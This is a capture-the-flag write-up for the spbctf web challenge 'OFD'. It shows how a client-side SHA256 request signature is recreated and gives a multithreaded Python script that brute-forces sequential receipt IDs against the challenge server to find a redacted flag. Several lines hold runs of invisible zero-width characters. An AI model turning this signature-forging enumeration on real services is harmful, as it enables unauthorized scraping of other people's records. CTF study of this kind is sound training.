← Back to Writeups
CUSTOMEasyWeb

OFD

XESXOR9/10/20262 min read
#web#custom#easy#api_brute_force#client_side_signature_recreati#multithreaded_enumeration

OFD

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2019-10-27 | Status: Solved Techniques: api_brute_force, client_side_signature_recreation, multithreaded_enumeration

Summary

Task: Brute force receipt codes on a fiscal data website where signature is generated client-side. Solution: Recreate SHA256 signature from JavaScript, enumerate sequential IDs with multithreading to find the flag.

OFD - spbctf

Description

Компания позволяет посмотреть информацию о чеках, кажется форма уязвима для брутфорса. Сможешь заавтоматизировать?

The "New Generation OFD" website (OFD = Fiscal Data Operator) has a form for checking receipts by code. The placeholder shows 27000000000 (11 digits).

Analysis

JavaScript Investigation

The page source code reveals the request formation logic:

  • The form sends a POST request to /receipt/{code}
  • Request body JSON: {"signature": CryptoJS.SHA256(code).toString(CryptoJS.enc.Base64)}
  • Signature = SHA256 of the code, encoded in Base64 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Behavior

  • Codes below 27000000000: {"error": "receipt_id too small"}
  • Codes above 99999999999: errors
  • Non-numeric codes: {"error": "not a number"}
  • Invalid/missing signature: {"error": "incorrect digest"} or {"error": "no signature in request"}
  • Valid codes: return a receipt from "GOOGLE.TAXI" (LLC GOOGLE.TAXI), always 1084 bytes
  • All receipts contain INN: 77043341337, Shift N 133700 (leet-speak hints: 1337)

Solution

Step 1: Recreating the Signature

Since the signature algorithm is visible in client-side JavaScript, it's easy to reproduce:

python
import hashlib, base64
sig = base64.b64encode(hashlib.sha256(code.encode()).digest()).decode()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Multithreaded Brute Force

Wrote a script to enumerate receipt codes starting from 27000000000, looking for any response different from the standard GOOGLE.TAXI receipt (1084 bytes).

Step 3: Finding the Flag

At code 27000000174 (only 174 codes from the start of the range) the server returned:

json
{"flag": "spbctf{REDACTED}"}
python
#!/usr/bin/env python3
import hashlib, base64, json, requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def check_receipt(code):
    code_str = str(code)
    sig = base64.b64encode(hashlib.sha256(code_str.encode()).digest()).decode()
    url = f'https://2019-10-27-ofd.ctf.su/receipt/{code_str}'
    data = {'signature': sig}
    r = requests.post(url, json=data, timeout=10)
    return code, r.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with ThreadPoolExecutor(max_workers=20) as executor:
    futures = {executor.submit(check_receipt, i): i for i in range(27000000000, 27000001000)}
    for f in as_completed(futures):
        code, resp = f.result()
        if 'GOOGLE.TAXI' not in resp or len(resp) != 1084:
            print(f'Found at {code}: {resp}')

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍